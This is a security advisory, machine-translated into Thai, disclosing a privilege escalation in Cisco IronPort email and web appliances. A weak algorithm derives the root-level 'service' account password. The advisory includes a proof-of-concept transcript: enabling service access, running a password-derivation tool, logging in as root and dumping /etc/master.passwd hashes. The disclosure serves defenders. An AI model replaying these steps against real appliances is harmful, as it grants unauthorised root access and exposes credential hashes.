อัปเดตสำหรับ Linux
Cisco Ironport Appliances สิทธิ์การเพิ่มช่องโหว่ผู้ขาย: หน้าเว็บผลิตภัณฑ์ Cisco: http://www.cisco.com เวอร์ชันที่ได้รับผลกระทบ: Cisco Ironport ESA - Asyncos 8.5.5-280 Cisco Ironport WSA - Asyncos 8.0.5-075 Cisco Ironport - Asyncos 8.3.6-0 วันที่: 22/05/2014 เครดิต: Glafkos Charalambous CVE: ไม่ได้รับมอบหมายโดย Cisco
ไทม์ไลน์การเปิดเผย: 19-05-2014: การแจ้งเตือนของผู้ขาย 20-05-2014: การตอบสนองของผู้ขาย/ข้อเสนอแนะ 27-08-2014: ผู้ขายแก้ไข/แพทช์ 24-01-2015: การเปิดเผยสาธารณะ
คำอธิบาย: เครื่องใช้ไฟฟ้า Cisco Ironport มีความเสี่ยงต่อการเพิ่มสิทธิ์ "ผู้ดูแลระบบ" ที่ได้รับการรับรองความถูกต้อง โดยการเปิดใช้งานบัญชีบริการจาก GUI หรือ CLI ช่วยให้ผู้ดูแลระบบสามารถเข้าถึงรูทบนอุปกรณ์ได้ดังนั้นการข้ามข้อ จำกัด บัญชี "ผู้ดูแลระบบ" ที่มีอยู่ทั้งหมด ช่องโหว่เกิดจากการใช้อัลกอริทึมที่อ่อนแอในกระบวนการสร้างรหัสผ่านซึ่ง Cisco ใช้ในการเข้าถึงอุปกรณ์จากระยะไกลเพื่อให้การสนับสนุนทางเทคนิค
การตอบสนองของผู้ขาย: ตามที่คาดไว้นี่ไม่ถือว่าเป็นช่องโหว่ แต่เป็นปัญหาการชุบแข็งความปลอดภัย เช่นนี้เราไม่ได้กำหนด CVE แต่ฉันแน่ใจว่าสิ่งนี้ได้รับการแก้ไขใน SMA, ESA และ WSA การแก้ไขรวมถึงการเปลี่ยนแปลงหลายอย่างเช่นการปกป้องอัลกอริทึมที่ดีขึ้นในไบนารีการเปลี่ยนอัลกอริทึมเองให้แข็งแกร่งและบังคับใช้ความซับซ้อนของรหัสผ่านเมื่อผู้ดูแลระบบตั้งค่าวลีผ่านและเปิดใช้งานบัญชี
[SD] หมายเหตุ: จำเป็นต้องมีข้อมูลรับรองผู้ดูแลระบบเพื่อเปิดใช้งานการเข้าถึงตัวแทนสนับสนุนและตั้งค่าวลีที่ใช้ในการคำนวณรหัสผ่านสุดท้าย [GC] ผู้ใช้งานยังคงมีสิทธิ์ จำกัด เกี่ยวกับอุปกรณ์และข้อมูลรับรองอาจถูกบุกรุกได้เช่นกันแม้จะมีรหัสผ่านเริ่มต้นที่นำไปสู่การเข้าถึงรูทแบบเต็ม
[SD] ปัญหานี้ถูกติดตามสำหรับ ESA โดย Cisco Bug ID: CSCUO96011 สำหรับ SMA โดย Cisco Bug ID: CSCUO96056 และ WSA โดย Cisco Bug ID CSCUO90528
รายละเอียดทางเทคนิค: โดยการลงชื่อเข้าใช้อุปกรณ์โดยใช้รหัสผ่านเริ่มต้น "Ironport" หรือผู้ใช้ที่ระบุไว้มีตัวเลือกในการเปิดใช้งานการสนับสนุนลูกค้าระยะไกล ตัวเลือกนี้สามารถพบได้ภายใต้ความช่วยเหลือและการสนับสนุน -> การเข้าถึงระยะไกลบน GUI หรือโดยใช้บัญชี CLI คอนโซล "enablediag" และออกบริการคำสั่ง การเปิดใช้งานบริการนี้ต้องใช้รหัสผ่านผู้ใช้ชั่วคราวซึ่งควรให้พร้อมกับหมายเลขซีเรียลของเครื่องใช้กับ Cisco TechSupport สำหรับการเชื่อมต่อจากระยะไกลและตรวจสอบความถูกต้องกับอุปกรณ์
การมีรหัสผ่านชั่วคราวและหมายเลขซีเรียลของอุปกรณ์โดยการเปิดใช้งานบัญชีบริการผู้โจมตีสามารถเข้าถึงรูทได้เต็มรูปแบบและอาจสร้างความเสียหายให้กับมันแบ็คดอร์ ฯลฯ
POC:
root@kali:~# ssh -lenablediag 192.168.0.158
Password:
Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
Available Commands:
help -- View this text.
quit -- Log out.
service -- Enable or disable access to the service system.
network -- Perform emergency configuration of the diagnostic network interface.
clearnet -- Resets configuration of the diagnostic network interface.
ssh -- Configure emergency SSH daemon on the diagnostic network interface.
clearssh -- Stop emergency SSH daemon on the diagnostic network interface.
tunnel -- Start up tech support tunnel to IronPort.
print -- Print status of the diagnostic network interface.
reboot -- Reboot the appliance.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently disabled.
ironport.example.com> service
Service Access is currently disabled. Enabling this system will allow an
IronPort Customer Support representative to remotely access your system
to assist you in solving your technical issues. Are you sure you want
to do this? [Y/N]> Y
Enter a temporary password for customer support to use. This password may
not be the same as your admin password. This password will not be able
to be used to directly access your system.
[]> cisco123
Service access has been ENABLED. Please provide your temporary password
to your IronPort Customer Support representative.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently ENABLED (0 current service logins)
ironport.example.com>
gcc -std=99 -o woofwoof woofwoof.c -lcrypto
./woofwoof
Usage: woofwoof.exe -p password -s serial
-p <password> | Cisco Service Temp Password
-s <serial> | Cisco Serial Number
-h | This Help Menu
Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4
./woofwoof -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019
F508A4
Service Password: b213c9a4
root@kali:~# ssh -lservice 192.168.0.158
Password:
Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
# uname -a
FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 [email protected]:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64
# cat /etc/master.passwd
# $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $
root:*:0:0::0:0:Mr &:/root:/sbin/nologin
service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh
enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh
adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin
admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh
clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh
smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh
spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin
pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh
ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin